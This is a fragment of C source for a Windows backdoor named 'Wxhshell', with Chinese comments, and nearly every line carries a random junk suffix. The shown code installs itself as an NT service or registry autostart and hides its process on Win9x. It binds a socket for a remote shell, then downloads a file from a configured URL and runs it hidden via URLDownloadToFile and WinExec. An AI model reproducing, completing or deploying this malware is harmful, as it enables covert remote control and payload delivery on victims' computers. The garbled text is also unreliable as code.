ULONG UniqueProcessId; `2G 0B@
ULONG InheritedFromUniqueProcessId; b}WU
} PROCESS_BASIC_INFORMATION; @u?m4v{
qeypa!
PROCNTQSIP NtQueryInformationProcess; nPE{Gp) }
r3'0{Nn+
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8K'3iw>z
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; G@s
rQum(
`#R[x7bA1
HANDLE hProcess; 09/Mg
PROCESS_BASIC_INFORMATION pbi; `KB; 3L
tmKHT
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #mFIZMTRd
if(NULL == hInst ) return 0; J.$N<.
EjrK.|I0
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^8OK.iC
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); R10R,*6>
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); vr"O9L
w
)1N~-VuT
if (!NtQueryInformationProcess) return 0; 2)-Umq{]{
|cs]98FEf
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9!;/+P
if(!hProcess) return 0; @P@?KZ..v!
PKJ w%.-
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; dSkM A
6o6I]QL
CloseHandle(hProcess); Zcjh
I;FHjnn(
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); EV/DJ$C }
if(hProcess==NULL) return 0; ?L x*MJZ
W^k95%zBM
HMODULE hMod; fS?}(7
char procName[255]; ^VOFkUp)
unsigned long cbNeeded; evjj~xkte
sFt"2TVr3
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); l|v`B6(
Ir#]p9:x
CloseHandle(hProcess); [>![ViX
lha)4d
if(strstr(procName,"services")) return 1; // 以服务启动 FJCs$0
7H.3.j(L
return 0; // 注册表启动 2u Zb2O
} _0}u0fk
@Z.BYC
// 主模块 42M_ %l_
int StartWxhshell(LPSTR lpCmdLine) 41g
"7Mk
{ CVE(N/&b
SOCKET wsl; bI+/0Xx
BOOL val=TRUE; Y O&@
int port=0; ]n}aePl}oU
struct sockaddr_in door; SP.k]@P
0RgE~x!hI
if(wscfg.ws_autoins) Install(); F_G .$aCc
fJOwE
g|
port=atoi(lpCmdLine); ,<k%'a!B
z^vfha
if(port<=0) port=wscfg.ws_port; zX lcu_rc
Fs"i fn0
WSADATA data; ?zex]!R
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >$,P )cB'
.d I".L
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; #lR-?Uh
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _AzI\8m
door.sin_family = AF_INET; .do8\
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ZLP/&`>8
door.sin_port = htons(port); tq}MzKI*
ClG\Kpirh
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { E5!vw@,
closesocket(wsl); A3)"+`&PUl
return 1; x$;RfK2&p
} 4_kY^"*#"
}ZK%@b>
if(listen(wsl,2) == INVALID_SOCKET) { ,~ q:rh+
closesocket(wsl); ^"<x4e9+j
return 1; 'Lq+ONX5
} & .0A%
Wxhshell(wsl); {0~\ T[qm
WSACleanup(); s]]lB018O\
;4l8Qg
7
return 0; ?VlGTMaS+
k@
<dru
} -L+kt_>
,OWk[0/
// 以NT服务方式启动 UB/"&I uo
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -0UR%R7q
{ .fbY2b([
DWORD status = 0; ?5FlbiT
DWORD specificError = 0xfffffff; A
0v=7
]
9u^M{6
serviceStatus.dwServiceType = SERVICE_WIN32; )X?oBNsj
serviceStatus.dwCurrentState = SERVICE_START_PENDING; FRuPv6
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {CV+1kz
serviceStatus.dwWin32ExitCode = 0; yX4Vv{g
serviceStatus.dwServiceSpecificExitCode = 0; 58XZ]Mc0
serviceStatus.dwCheckPoint = 0; " i:[|7
serviceStatus.dwWaitHint = 0; eZEk$W%
fX]`vjM{
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); u?"="-^
if (hServiceStatusHandle==0) return; Q7rBc
wm5
&#L C'
status = GetLastError(); jYi,oE
if (status!=NO_ERROR) ;89kL]
{ {.542}A
serviceStatus.dwCurrentState = SERVICE_STOPPED; <Y."()}GeH
serviceStatus.dwCheckPoint = 0; V:w%5'^3
serviceStatus.dwWaitHint = 0; yI1:L
-
serviceStatus.dwWin32ExitCode = status; pJx7S sW
serviceStatus.dwServiceSpecificExitCode = specificError; _tJt
eDRY
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ym1vq=
return; o`QNZN7/}
} Asv]2> x
0u1ZU4+EC
serviceStatus.dwCurrentState = SERVICE_RUNNING; Wk\(jaL%
serviceStatus.dwCheckPoint = 0; tBbOxM m0
serviceStatus.dwWaitHint = 0; GQ;0KIN
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &y5"0mA
} D3cJIVM
Vx(*OQ
// 处理NT服务事件,比如:启动、停止 Xd=KBB[r?
VOID WINAPI NTServiceHandler(DWORD fdwControl) i+h*<){X
{ kzKej"a;
switch(fdwControl) ?D6uviQg
{ \rFS^#
case SERVICE_CONTROL_STOP: qFD ZD)K
serviceStatus.dwWin32ExitCode = 0; >=[uLY[aK
serviceStatus.dwCurrentState = SERVICE_STOPPED; q0NFz mG
serviceStatus.dwCheckPoint = 0; &cL1 EQ(
serviceStatus.dwWaitHint = 0; R3~,&ab
{ F%h3?"s
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6@s!J8!
} >E>yA d
return; xIGq+yd(
case SERVICE_CONTROL_PAUSE: ~ubvdQEW
serviceStatus.dwCurrentState = SERVICE_PAUSED; x="Wqcnj{
break; -g@!\{
case SERVICE_CONTROL_CONTINUE: <{isWEW9]3
serviceStatus.dwCurrentState = SERVICE_RUNNING; Wd:pqhLh
break; 5p (zhfuG
case SERVICE_CONTROL_INTERROGATE: mux/\TII
break; itg_+%^R
};
ECOJ .^
SetServiceStatus(hServiceStatusHandle, &serviceStatus); :~otzI4%!
} `gX|q3K\s
2#>;cn\
// 标准应用程序主函数 lS4r pbU_
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) wM+1/[7
{ t(u2%R4<d
fzIs^(:fl
// 获取操作系统版本 Zz0bd473k?
OsIsNt=GetOsVer(); CRK%^3g
GetModuleFileName(NULL,ExeFile,MAX_PATH); <E2 IU~e
qYC&0`:H
// 从命令行安装 AJ\&>6GZ(b
if(strpbrk(lpCmdLine,"iI")) Install(); ib=)N)l
J8qFdNK
// 下载执行文件 4j={ 9e<
if(wscfg.ws_downexe) { pey=zR!
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) aKDY_D
WinExec(wscfg.ws_filenam,SW_HIDE); \N9=13W<lK
} $Zu?Gd?
'^UHY[mX8
if(!OsIsNt) { UxGu1a
// 如果时win9x,隐藏进程并且设置为注册表启动 wZ(1\
M(
HideProc(); V&*IZt&
StartWxhshell(lpCmdLine); \ %Mcvb.?
} ON,[!pc
else S(gr>eC5
if(StartFromService()) KN}#8.'>3
// 以服务方式启动 csy6_q(
StartServiceCtrlDispatcher(DispatchTable); 731Lz*IFg
else
@ap!3o8,9
// 普通方式启动 ~/L:$
StartWxhshell(lpCmdLine); TxJk.c
N3%#JdzZ$
return 0; cYA:k
}